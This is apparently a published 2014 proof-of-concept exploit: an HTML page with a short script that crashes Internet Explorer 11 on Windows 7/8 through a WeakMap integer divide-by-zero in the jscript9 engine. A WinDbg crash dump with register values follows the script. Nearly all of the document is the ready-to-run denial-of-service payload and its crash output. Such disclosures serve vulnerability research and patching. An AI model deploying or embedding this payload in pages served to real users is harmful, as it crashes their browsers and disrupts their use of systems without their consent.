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<!--# Exploit title: Microsoft Internet Explorer 11 - WeakMap Integerdivide-by-zero DoS# Date: 29.05.2014# Vulnerable version: 11# Tested on: Windows 7/8# Author: Pawel Wylecial# http://h0wl.pl @h0wlu--><script>var a = [new WeakMap];a.push(new WeakMap);a[1].set(a[0], a[1]);a[0].delete(a[0]);</script></html><!--(674.2408): Integer divide-by-zero - code c0000094 (!!! second chance !!!)eax=0087e241 ebx=04598cc0 ecx=04598cc8 edx=00000000 esi=04598cc8edi=041f1aa0eip=668756f0 esp=05b4b8ac ebp=05b4b8bc iopl=0 nv up ei pl nz na penccs=0023 ss=002b ds=002b es=002b fs=0053 gs=002befl=00010206jscript9!JsUtil::WeaklyReferencedKeyDictionary<Js::DynamicObject,bool,RecyclerPointerComparer<Js::DynamicObjectconst *>,1>::TryGetValueAndRemove+0x1f:668756f0 f736 div eax,dword ptr [esi]ds:002b:04598cc8=00000000-->
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